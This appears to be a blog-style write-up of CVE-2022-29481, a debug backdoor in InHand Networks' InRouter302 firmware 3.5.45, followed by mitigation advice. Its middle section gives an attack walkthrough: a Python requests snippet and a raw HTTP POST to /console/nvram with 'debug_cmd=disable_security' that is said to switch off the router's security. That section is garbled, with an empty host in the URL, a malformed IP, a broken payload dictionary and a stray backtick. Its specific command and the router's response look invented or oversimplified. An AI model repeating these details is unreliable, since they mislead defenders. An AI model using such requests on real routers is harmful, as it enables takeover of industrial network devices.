CVE-2022-29481 marks a serious security issue in InHand Networks' InRouter302, version 3.5.45. A leftover debug feature in the console NVRAM (Non-Volatile Random Access Memory) lets attackers send a sequence of crafted network requests to turn off security controls, potentially leaving the device wide open for exploitation.

In this post, we’ll explain what went wrong, how an attacker could abuse this flaw step-by-step (including sample code), and ways to protect yourself if you’re using affected hardware.

What Is the Vulnerability?

The InHand Networks InRouter302 is an industrial-grade router used in many businesses, often exposed to the public internet. Version 3.5.45 has a hidden “debug” code segment in the console NVRAM logic that should never have made it to the final product. This code allows certain network messages to tamper with security settings - like disabling authentication - if the right sequence is sent.

In short: By sending a set of network commands that shouldn’t do anything, an attacker can quietly shut off the router’s basic security protections.

References and More Information

- CVE-2022-29481 MITRE Detail
- Trellix Security Advisory (Formerly McAfee Enterprise)
- NVD (National Vulnerability Database) Entry
- InHand Networks Product Page

How Does the Exploit Work?

The debug code allows certain NVRAM console commands to be interpreted when sent as HTTP POST requests to the device’s web server. If you know the sequence (which is not documented and meant only for developers), you can use the router's web interface (often at http://router-ip/console) to send them.

Attacker crafts a POST request to trigger the debug backdoor:

The attacker needs to POST a special value to the router's NVRAM handler. Here's a simplified Python snippet (using requests) to demonstrate:

import requests

url = "http:///console/nvram"

"submit": "Apply"

}

`

3. If the device responds with a success message, security protection (like password auth or firewall rules) is now turned off for that router session or even permanently, until reboot.

Let’s break down the request

- The endpoint /console/nvram listens for NVRAM changes.
- The developer left a hidden command for testing: if "debug_cmd=disable_security" is found, it runs code that flips security bits in NVRAM.
- No authentication is needed if this command is sent, or authentication might be turned off by a prior request.
- After this, an attacker can log in as admin or start reconfiguring the device, connect to downstream services, or add further malware.

Network capture example (wireshark/pcap)

POST /console/nvram HTTP/1.1
Host: 192..2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

debug_cmd=disable_security&submit=Apply

Router's response

HTTP/1.1 200 OK
...
Security disabled. Please reboot for changes to take effect.

Silent Attack: No password or account needed to execute the debug command.

- Total Takeover: Once security is off, the attacker can change settings, connect to inside networks, spy on traffic, or even brick the router.

Mitigation and Detection

Official fix: InHand Networks released updated firmware. Upgrade immediately to any version newer than 3.5.45. Always monitor vendor advisories: links above.

Temporary workaround

- Block HTTP access (/console/nvram) from untrusted networks, using firewall rules.

Monitor configuration changes, and alert if security options are modified.

Check for compromise: If your router is running 3.5.45 and accessible from the Internet, check all device logs, reset passwords, and perform a factory reset after patching.

Final Notes

This vulnerability is a reminder of the risks of leaving debug code in production - especially in critical industrial and networking hardware.

If you manage InHand Networks hardware, make sure your devices are not internet-exposed and patched. Stay alert with security bulletins, and never trust that what's supposed to be “hidden” will stay hidden!


Further reading:  
- Mitre CVE-2022-29481  
- Trellix writeup

Timeline

Published on: 11/09/2022 18:15:00 UTC
Last modified on: 11/10/2022 15:49:00 UTC